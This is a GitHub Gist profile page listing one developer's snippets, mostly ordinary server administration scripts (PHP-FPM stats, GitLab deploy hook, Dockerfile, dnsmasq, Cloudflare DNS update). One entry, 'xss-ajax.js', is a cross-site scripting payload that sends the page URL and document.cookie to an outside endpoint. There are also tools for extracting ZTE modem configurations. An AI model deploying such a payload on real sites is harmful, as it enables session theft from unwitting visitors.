Skip to content

Instantly share code, notes, and snippets.

I'm programer and I have wife 😄

Mochamad Arifin ndunks

I'm programer and I have wife 😄
Block or report user

Report or block ndunks

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
ndunks / stats.php
Last active Jun 21, 2018
PHP-FPM status wrapper for each serverpilot web apps
View stats.php
* Serverpilot PHP-FPM Status wrapper for all apps
* Install required package:
* $ sudo apt install libfcgi-bin
* Add .htaccess:
* RewriteRule ^php\-stats/ stats.php [NC,L]
* Place this script on 'default' web app.
ndunks / gitlab.php
Created Oct 16, 2018
Gitlab Hook auto deploy live web server
View gitlab.php
// This token must sent with the request, for security
$LOCAL_GIT=realpath(dirname(__DIR__) . '/app.git');
$PRODUCTION_DIR=realpath(dirname(__DIR__) . '/public_html');
$REMOTE = 'origin';
$LOCAL_BRANCH = 'master';
ndunks / Dockerfile
Created Oct 18, 2018
Docker Image php 7.0 FPM with gmp mysql gd iconv
View Dockerfile
FROM php:7.0-fpm-stretch
RUN apt-get update && apt-get install -q -y ssmtp mailutils
RUN apt-get update && apt-get install -y \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
libgmp-dev \
&& docker-php-ext-install -j$(nproc) iconv \
ndunks / modem-indihome-zte
Created Mar 21, 2018
Default login telnet/webuser modem indihome ZTE F609
View modem-indihome-zte
ndunks /
Last active Dec 17, 2018
dnsmasq DHCP Example and logging
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo ifconfig eth0 up
sudo dnsmasq --no-daemon --log-queries --log-dhcp \
--bind-interfaces --conf-file= --conf-dir= \
--interface=eth0 --except-interface=lo \
--dhcp-range=,,12h \
ndunks /
Created Dec 17, 2018
Cloudflare Update DNS IP with bash
ip=$(curl -s
echo "DDNS-UPDATE: Public IP is: $ip, Updating IP..."
curl -X PUT "" \
-H "X-Auth-Email: *******" \
-H "X-Auth-Key: *******" \
-H "Content-Type: application/json" \
--data '{"type":"A","name":"","content":"'"$ip"'","ttl":120,"proxied":false}' )
ndunks /
Created May 12, 2018
Install kimchi on ubuntu 18.04 bionic
#For Indonesian server
#locale fix
sudo locale-gen id_ID.UTF-8
#change miror
sudo sed -i_old 's/' /etc/apt/sources.list
sudo apt update
#build depencies
ndunks / xss-ajax.js
Created Jan 29, 2019
View xss-ajax.js
if(w['$'] && w['$'].post){
$.post(u,{u: d.location.href, c: d.cookie});
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join('');
console.log('FU: ', fu);
function planB(){
el = d.createElement('img');
el.onerror = el.onload = function(){ el.remove() }
el.src=fu; d.body.append(el);
ndunks /
Created Mar 23, 2018
Modem Indihome ZTE F609 Config Extract and Repack
#!/usr/bin/env python
import sys
import binascii
import struct
import zlib
if (len(sys.argv) <= 1):
print('USAGE:\n%s [configBak.cfg|config.bin]' % sys.argv[0])
ndunks / paste-symlink.ps1
Created Sep 30, 2017
Windows 10 Add Copy-Paste as Symbolic Link or Junction
View paste-symlink.ps1
You can’t perform that action at this time.